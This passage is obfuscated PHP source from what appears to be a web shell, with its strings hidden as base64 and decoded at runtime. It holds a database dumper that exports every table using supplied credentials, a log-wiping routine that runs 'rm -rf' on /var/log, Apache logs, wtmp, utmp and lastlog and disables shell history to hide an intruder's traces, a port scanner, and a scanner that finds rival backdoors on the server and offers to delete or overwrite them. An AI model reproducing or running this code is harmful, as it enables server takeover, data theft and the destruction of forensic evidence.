AutomenU($d); echo wb('PGNlbnRlcj48aHI+PGJyPjxmb3JtIGFjdGlvbiBtZXRob2Q9InBvc3QiPjx0YWJsZSBjbGFzcz0idGFibmV0IndpZHRoPSIzNzEiPjxoMj5EYXRhYmFzZSBEdW1wZXIgWTwvaDI+PHRyPjx0ZD5TZXJ2ZXI8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCJhdXRvY29tcGxldGU9Im9mZiJuYW1lPSJzZXJ2ZXIic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiYXV0b2NvbXBsZXRlPSJvZmYibmFtZT0idXNlcm5hbWUic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiYXV0b2NvbXBsZXRlPSJvZmYibmFtZT0icGFzc3dvcmQic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPkRhdGFCYXNlIE5hbWU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCJhdXRvY29tcGxldGU9Im9mZiJuYW1lPSJkYm5hbWUic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPkRCIFR5cGU8L3RkPjx0ZD48Zm9ybSBhY3Rpb249IiJtZXRob2Q9InBvc3QiPjxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCJuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9Imd6aXAiPkd6aXA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPlNxbDwvb3B0aW9uPjwvc2VsZWN0Pjxicj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCJ0eXBlPSJzdWJtaXQidmFsdWU9IiAgRHVtcCEgICI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPjxicj48YnI+'); if (isset($_POST[wb('dXNlcm5hbWU=')]) && isset($_POST[wb('ZGJuYW1l')]) && isset($_POST[wb('bWV0aG9k')])) { $date = $GNJ[20](wb('WS1tLWQ=')); $dbserver = $_POST[wb('c2VydmVy')]; $dbuser = $_POST[wb('dXNlcm5hbWU=')]; $dbpass = $_POST[wb('cGFzc3dvcmQ=')]; $dbname = $_POST[wb('ZGJuYW1l')]; $file = "Dump-{$dbname}-{$date}"; $method = $_POST[wb('bWV0aG9k')]; if ($method == wb('c3Fs')) { $file = "Dump-{$dbname}-{$date}.sql"; $fp = $GNJ[17]($file, wb('dw==')); } else { $file = "Dump-{$dbname}-{$date}.sql.gz"; $fp = gzopen($file, wb('dw==')); } function write($data) { global $fp; if ($_POST[wb('bWV0aG9k')] == wb('c3NxbA==')) { $GNJ[18]($fp, $data); } else { gzwrite($fp, $data); } } mysql_connect($dbserver, $dbuser, $dbpass); mysql_select_db($dbname); $tables = mysql_query(wb('U0hPVyBUQUJMRVM=')); while ($i = mysql_fetch_array($tables)) { $i = $i[wb('VGFibGVzX2luXw==') . $dbname]; $create = mysql_fetch_array(mysql_query(wb('U0hPVyBDUkVBVEUgVEFCTEUg') . $i)); write($create[wb('Q3JlYXRlIFRhYmxl')] . wb('O25u')); $sql = mysql_query(wb('U0VMRUNUICogRlJPTSA=') . $i); if (mysql_num_rows($sql)) { while ($row = mysql_fetch_row($sql)) { foreach ($row as $j => $k) { $row[$j] = wb('Jw==') . mysql_escape_string($k) . wb('Jw=='); } write("INSERT INTO {$i} VALUES(" . implode(wb('LA=='), $row) . wb('KTtu')); } } } if ($method == wb('c3NxbA==')) { $GNJ[19]($fp); } else { gzclose($fp); } header(wb('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9') . $file); header(wb('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZA==')); header(wb('Q29udGVudC1MZW5ndGg6IA==') . $GNJ[34]($file)); flush(); $fp = $GNJ[17]($file, wb('cg==')); while (!feof($fp)) { echo fread($fp, 65536); flush(); } $GNJ[19]($fp); } } elseif (isset($_GET[hex(wb('ZGVsZXRlLWxvZ3M='))])) { AutomenU($d); echo wb('PGJyPjxjZW50ZXI+PGI+PHNwYW4+RGVsZXRlIExvZ3MgKCBGb3IgU2FmZSApPC9zcGFuPjwvYj48Y2VudGVyPjxicj4='); echo wb('PHRhYmxlIHN0eWxlPSdtYXJnaW46IDAgYXV0bzsnPjx0ciB2YWxpZ249J3RvcCc+PHRkIGFsaWduPSdsZWZ0Jz4='); exe(wb('ZXhwb3J0IEhJU1RGSUxFPS9kZXYvbnVsbA==')); exe(wb('cm0gLXJmIC90bXAvbG9ncw==')); exe(wb('cm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3M=')); exe(wb('cm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZw==')); exe(wb('cm0gLXJmIGVycm9yX2xvZw==')); exe(wb('cm0gLXJmIC92YXIvYXBhY2hlL2xvZ3M=')); exe(wb('cm0gLXJmIC92YXIvYXBhY2hlL2xvZw==')); exe(wb('cm0gLXJmIC92YXIvcnVuL3V0bXA=')); exe(wb('cm0gLXJmIC92YXIvbG9ncw==')); exe(wb('cm0gLXJmIC92YXIvbG9n')); exe(wb('cm0gLXJmIC92YXIvYWRt')); exe(wb('cm0gLXJmIC9ldGMvd3RtcA==')); exe(wb('cm0gLXJmIC9ldGMvdXRtcA==')); exe("rm -rf {$HISTFILE}"); exe(wb('cm0gLXJmIC92YXIvbG9nL2xhc3Rsb2c=')); exe(wb('cm0gLXJmIC92YXIvbG9nL3d0bXA=')); echo wb('PGJyPjxicj48cD5Zb3VyIFRyYWNlcyBIYXMgQmVlbiBTdWNjZXNzZnVsbHkgRGVsZXRpbmcgLi4uRnJvbSB0aGUgU2VydmVy'); echo wb('PC90ZD48L3RyPjwvdGFibGU+'); } elseif (isset($_GET[hex(wb('c2Nhbm5lcg=='))])) { ScanMenu($d); } elseif (isset($_GET[hex(wb('cG9ydC1zY2FubmVy'))])) { ScanMenu($d); echo wb('PGhyPjxicj48Y2VudGVyPg=='); echo wb('PGgyPlBvcnRzIFNjYW5uZXIgWTwvaDI+'); echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+'); if (isset($_POST[wb('aG9zdA==')]) && is_numeric($_POST[wb('ZW5k')]) && is_numeric($_POST[wb('c3RhcnQ=')])) { $start = strip_tags($_POST[wb('c3RhcnQ=')]); $end = strip_tags($_POST[wb('ZW5k')]); $start = strip_tags($_POST[wb('c3RhcnQ=')]); $end = strip_tags($_POST[wb('ZW5k')]); $host = strip_tags($_POST[wb('aG9zdA==')]); for ($i = $start; $i <= $end; $i++) { $fp = @fsockopen($host, $i, $errno, $errstr, 3); if ($fp) { echo wb('UG9ydCA=') . $i . wb('IGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPg=='); } flush(); } } else { echo wb('PGNlbnRlcj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iUG9ydFNjYW5uZXIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9cDE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPgoJCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9Ig==') . $GNJ[15](dapatCWD()) . wb('Ij4KCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSI=') . (isset($_POST[wb('Y2hhcnNldA==')]) ? $_POST[wb('Y2hhcnNldA==')] : '') . wb('Ij4KCQkgIEhvc3Q6PGJyPiA8aW5wdXQgY2xhc3MgPSAiZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+CgkJICBQb3J0IHN0YXJ0OiA8YnI+PGlucHV0IGNsYXNzID0gImZvcm0tY29udHJvbCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz48YnIgLz4KCQkgIFBvcnQgZW5kOiA8YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz48YnIgLz4KCQkgCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBTY2FuIFBvcnRzICAiID4KCQkgIDwvZm9ybT4gPC9jZW50ZXI+'); echo wb('PC9jZW50ZXI+'); echo wb('PC9kaXY+PGJyPjxicj4='); } } elseif (isset($_GET[hex(wb('c2Nhbnoz'))])) { ScanMenu($d); if (isset($_GET[wb('cnA=')]) && isset($_GET[wb('Zmx4')])) { $replacement = $_GET[wb('cnA=')]; $asli = $_GET[wb('Zmx4')]; if (rpl($replacement, $asli)) { } } echo wb('PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uc2luZ2xle2JvcmRlcjoxcHggc29saWQgIzFmNGYxNjtwYWRkaW5nOjVweH0uYWJ1bmFpe2NvbG9yOnJlZDt0ZXh0LWRlY29yYXRpb246bm9uZX0ueHh4e2NvbG9yOiMwMGY7dGV4dC1kZWNvcmF0aW9uOm5vbmV9Lm1le2JvcmRlcjowO3BhZGRpbmc6NXB4fS5pc2k6ZGlzYWJsZWR7cGFkZGluZzoycHg7Ym9yZGVyOjFweCBzb2xpZCAjMzMzO2JhY2tncm91bmQtY29sb3I6I2NjYztmb250LXNpemU6MTBweDtmb250LXdlaWdodDo3MDB9LmlzaXtwYWRkaW5nOjJweDtib3JkZXI6MXB4IHNvbGlkICM2NjY7YmFja2dyb3VuZC1jb2xvcjojZmZmO2ZvbnQtc2l6ZToxMHB4O2ZvbnQtd2VpZ2h0OjcwMH08L3N0eWxlPg=='); echo wb('PGNlbnRlcj48YnI+PGhyPjxoMj48YSBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoz')) . wb('Ij5Mb2NhbCBCYWNrZG9vciBTY2FubmVyIDM8L2E+PC9oMj48L2NlbnRlcj48YnI+PGJyPg=='); $i = 0; if (isset($_POST[wb('U3VibWl0')])) { $ceks = array(wb('YmFzZTY0X2RlY29kZQ=='), wb('c3lzdGVt'), wb('cGFzc3RocnU='), wb('cG9wZW4='), wb('ZXhlYw=='), wb('c2hlbGxfZXhlYw=='), wb('ZXZhbA=='), wb('bW92ZV91cGxvYWRlZF9maWxl'), wb('dG1wX25hbWU='), wb('ZmlsZV9nZXRfY29udGVudHM=')); foreach ($ceks as $ceker) { if ($_POST[$ceker] != '') { $six .= $_POST[$ceker] . wb('Lg=='); } } $cek = explode(wb('Lg=='), $six); echo wb('PGNlbnRlcj48dGFibGUgd2lkdGg9IjEwMCUiYm9yZGVyPSIwImNlbGxwYWRkaW5nPSI1Ij48dHI+PHRkIGFsaWduPSJyaWdodCJjbGFzcz0ibWUid2lkdGg9IjMwIj48Yj5ObzwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyImNsYXNzPSJtZSJ3aWR0aD0iMTA1Ij48Yj5UIHkgcCBlPC9iPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiY2xhc3M9Im1lIj48Yj5GIGkgbCBlIEwgbyBjIGEgdCBpIG8gbjwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0ibWUiIHdpZHRoPSIxNTAiPjxiPkFjdGlvbjwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyImNsYXNzPSJtZSJ3aWR0aD0iMTUwIj48Yj5MIGEgcyB0IEUgZCBpIHQ8L2I+PC90ZD48dGQgYWxpZ249InJpZ2h0ImNsYXNzPSJtZSJ3aWR0aD0iMTAwIj48Yj5GIGkgbCBlIFMgaSB6IGU8L2I+PC90ZD48L3RyPjxicj4='); $target = $_POST[wb('dGFyZ2V0')]; $target = $GNJ[14](wb('Ly8='), wb('Lw=='), $target); foreach (ListFiles($target) as $key => $file) { $dir9 = dirname($file); $file9 = basename($file); $file = $GNJ[14](wb('Ly8='), wb('Lw=='), $file); if (!$GNJ[31]($file)) { $o = wb('IGJsaW5rIHc='); } else { $o = ''; } $nFile = strtolower($GNJ[22]($file, -4, 4)); $nFile2 = strtolower($GNJ[22]($file, -5, 5)); if ($nFile == wb('LnBocA==') | $nFile2 == wb('LnBodG1s') | $nFile2 == wb('LnBocDU=') | $nFile2 == wb('LnBocDc=') | $nFile2 == wb('LnBoYXI=')) { if ($file == $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . $_SERVER[wb('UEhQX1NFTEY=')]) { echo ''; } else { $ops = fgt($file); $op = strtolower($ops); $arr = array(wb('Yzk5X2J1ZmZfcHJlcGFyZQ==') => wb('YyA5IDk='), wb('U29sZXZpc2libGU=') => wb('U29sZXZpc2libGU='), wb('QWxmYS1UZWFt') => wb('QWxmYQ=='), wb('TWluaXNoZWxs') => wb('TWluaXNoZWxs'), wb('V1NPc3RyaXBzbGFzaGVz') => wb('V1NP'), wb('Q3l0bw==') => wb('RW5jciBTaGVsbA=='), wb('cHdkMTYz') => wb('UGFuZW4xMzg='), wb('WmVlcng3') => wb('WmVlcng3'), wb('ZWRvY2VkXzQ2ZXNhYg==') => wb('YjY0'), wb('Y29uN2V4dA==') => wb('Y29uN2V4dA=='), wb('cGhwRmlsZU1hbmFnZXI=') => wb('cGhwRmlsZU1hbmFnZXI='), wb('RmlsZW1hbg==') => wb('RmlsZW1hbg=='), wb('TUFSSUpVQU5B') => wb('TWFyaWp1YW5h'), wb('TWluaQ==') => wb('TWluaSBTaGVsbA=='), wb('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM=') => wb('R2VsYXk='), wb('QUdVU1RVU18xN18xOTQ1') => wb('MTk0NQ=='), wb('cnV6aHU=') => wb('Q2hpbmVzZSAx'), wb('eGlhb3hpYW5udg==') => wb('Q2hpbmVzZSAy'), wb('YWJjcjU3') => wb('ciA1IDc='), wb('U0lTVEVNSVRfQ09NX0VOQw==') => wb('U0VPQkFSQkFS')); $sis = 0; if ($op) { $size = $GNJ[34]($file); } $last = GetFileTime($file, wb('bW9kaWZ5')); $halamanini = hex(wb('c2Nhbnoz')); $thisandthat = $_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')]; foreach ($arr as $key => $val) { if (@preg_match("/{$key}/", $op)) { $sis = 1; $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNDUwOTA5Ij48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $val . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPiA8YSBocmVmPSI/ZD0=') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } if ($sis != wb('MQ==')) { if (@preg_match(wb('L3N5c3RlbVwoKC4qPylcKS8='), $op) && @preg_match(wb('LzxwcmU+Lw=='), $op) && @preg_match(wb('L2VtcHR5XCgoLio/KVwpLw=='), $op)) { $sis = wb('Mg=='); $i++; $val = wb('SGlkZGVuIFNoZWxs'); echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojYmZjMGVlIj48dGQgYWxpZ249InJpZ2h0Ij48Zm9udCBjb2xvcj0iI2ZmZmZjYyI+') . $i . wb('PC9mb250PjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSIjZmZmZmNjIj4=') . $val . wb('PC9mb250PjwvdGQ+PHRkIGFsaWduPSJsZWZ0Ij48YSBocmVmPSI/ZD0=') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jng9') . hex($c) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9IiNmZmZmY2MiPg==') . $last . wb('PC9mb250PjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGZvbnQgY29sb3I9IiNmZmZmY2MiPg==') . hdd($size) . wb('PC9mb250PjwvdGQ+PHNjcmlwdD52YXIgYmdjb2xvcj0idHJhbnNwYXJlbnQiLGNoYW5nZV9jb2xvcj0iIzRjNDQyZCI7ZnVuY3Rpb24gbW92ZXIobyl7by5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9Y2hhbmdlX2NvbG9yfWZ1bmN0aW9uIG1vdXQobyl7by5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9Ymdjb2xvcn08L3NjcmlwdD48L3RyPg=='); } } if ($sis == wb('MA==')) { foreach ($cek as $bugs) { if ($bugs != '') { if (@preg_match("/{$bugs}\((.*?)\)/", $op)) { $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNDk0NTQ1Ij48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $bugs . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPjxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhICBocmVmPSI/ZD0=') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } } } if ($_POST[wb('dGV4dFY=')] != '') { $text = $_POST[wb('dGV4dFY=')]; $searchForValue = wb('LA=='); if (strpos($text, $searchForValue) !== false) { $text = preg_split(wb('L1wsLw=='), $text); } if (is_array($text)) { foreach ($text as $value) { if (@preg_match("/{$value}/", $op)) { $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMmI0NTYzIj48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $value . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPjxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } } else { if (@preg_match("/{$text}/", $op)) { $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMmI0NTYzIj48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $text . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPjxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } } } } } if ($i == 0) { foreach ($cek as $bugs) { if ($bugs != '') { $x++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMDA3ZWZmIj48dGQgYWxpZ249InJpZ2h0Ij4=') . $x . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $bugs . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+PGEgY2xhc3M9ImFqeCIgaHJlZj0iIyI+W05PUF08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+bm90IGV4aXN0PC90ZD48dGQgYWxpZ249ImNlbnRlciI+bm8gcmVjb3JkPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4tIGJ5dGU8L3RkPjwvdHI+'); } } } echo wb('PC90YWJsZT4='); } else { $find = array(wb('b3RoZXJzX2JhY2tkb29y'), wb('YmFzZTY0X2RlY29kZQ=='), wb('c3lzdGVt'), wb('cGFzc3RocnU='), wb('cG9wZW4='), wb('ZXhlYw=='), wb('c2hlbGxfZXhlYw=='), wb('ZXZhbA=='), wb('bW92ZV91cGxvYWRlZF9maWxl'), wb('dG1wX25hbWU='), wb('ZmlsZV9nZXRfY29udGVudHM=')); if (isset($_POST[wb('dGFyZ2V0')])) { $target = $_POST[wb('dGFyZ2V0')]; } else { $target = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgY2xhc3M9ImZvcm0taW5saW5lIiBhdXRvY29tcGxldGU9Im9mZiIgaWQ9ImZDaGVjayIgbmFtZT0iZkNoZWNrIj48Y2VudGVyPjx0YWJsZSB3aWR0aD0iNDAwImJvcmRlcj0iMSJjZWxscGFkZGluZz0iMTAiY2xhc3M9InNpbmdsZSI+PHRyPjx0ZCBjbGFzcz0ibWUiPjxjZW50ZXI+PGI+UyBlIGwgZSBjIHQgLSBTIGMgYSBuIC0gVCB5IHAgZSA6PC9iPjxicj48dGFibGUgd2lkdGg9IjIwMCJjbGFzcz0ibWUiPjx0cj48dGQgY2xhc3M9Im1lIj48c2NyaXB0PmZ1bmN0aW9uIGNla0tsaWsoKXtkb2N1bWVudC5mQ2hlY2suY2VrVi5jaGVja2VkP2RvY3VtZW50LmZDaGVjay50ZXh0Vi5kaXNhYmxlZD0hMTpkb2N1bWVudC5mQ2hlY2sudGV4dFYuZGlzYWJsZWQ9ITAsZG9jdW1lbnQuZkNoZWNrLmNla1YuY2hlY2tlZD9tYXN0ZXIrPTE6MDxtYXN0ZXI/bWFzdGVyLT0xOm1hc3Rlcj1tYXN0ZXIsMCE9bWFzdGVyP2RvY3VtZW50LmZDaGVjay5TdWJtaXQuZGlzYWJsZWQ9ITE6ZG9jdW1lbnQuZkNoZWNrLlN1Ym1pdC5kaXNhYmxlZD0hMH08L3NjcmlwdD4='); if (isset($find)) { foreach ($find as $bug) { echo wb('PHNjcmlwdD52YXIgbWFzdGVyPTA7ZnVuY3Rpb24gY2hlY2tWYWx1ZQ==') . $bug . wb('KCl7ZG9jdW1lbnQuZkNoZWNrLg==') . $bug . wb('LmNoZWNrZWQ/bWFzdGVyKz0xOjA8bWFzdGVyP21hc3Rlci09MTptYXN0ZXI9bWFzdGVyLGRvY3VtZW50LmZDaGVjay5TdWJtaXQuZGlzYWJsZWQ9MD09bWFzdGVyfTwvc2NyaXB0PjxpbnB1dCBuYW1lPSI=') . $bug . wb('IiB2YWx1ZT0i') . $bug . wb('IiB0eXBlPSJjaGVja2JveCIgaWQ9Ig==') . $bug . wb('IiBvbmNsaWNrPSJjaGVja1ZhbHVl') . $bug . wb('KCkiIGNsYXNzPSJtci0zIiA+') . $bug . wb('PGJyPg=='); } echo wb('PGlucHV0IG5hbWU9ImNla1YiIHZhbHVlPSJjZWtWIiB0eXBlPSJjaGVja2JveCIgaWQ9ImNla1YiIG9uY2xpY2s9ImNla0tsaWsoKSI+IDxpbnB1dCBuYW1lPSJ0ZXh0ViIgb25mb2N1cz0idGhpcy52YWx1ZT0nJyIgdmFsdWU9Im90aGVyIGtleXdvcmQocykiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMiIgZGlzYWJsZWQgb25mb2N1cz0idGhpcy5zZWxlY3QoKSIgaWQ9InRleHRWIiBzdHlsZT0id2lkdGg6MzMwcHgiIGhlaWdodD0iMTAiPjxjZW50ZXI+Rm9sZGVyIFBhdGggdG8gU2Nhbjxicj48aW5wdXQgbmFtZT0idGFyZ2V0IiB2YWx1ZT0i') . $target . 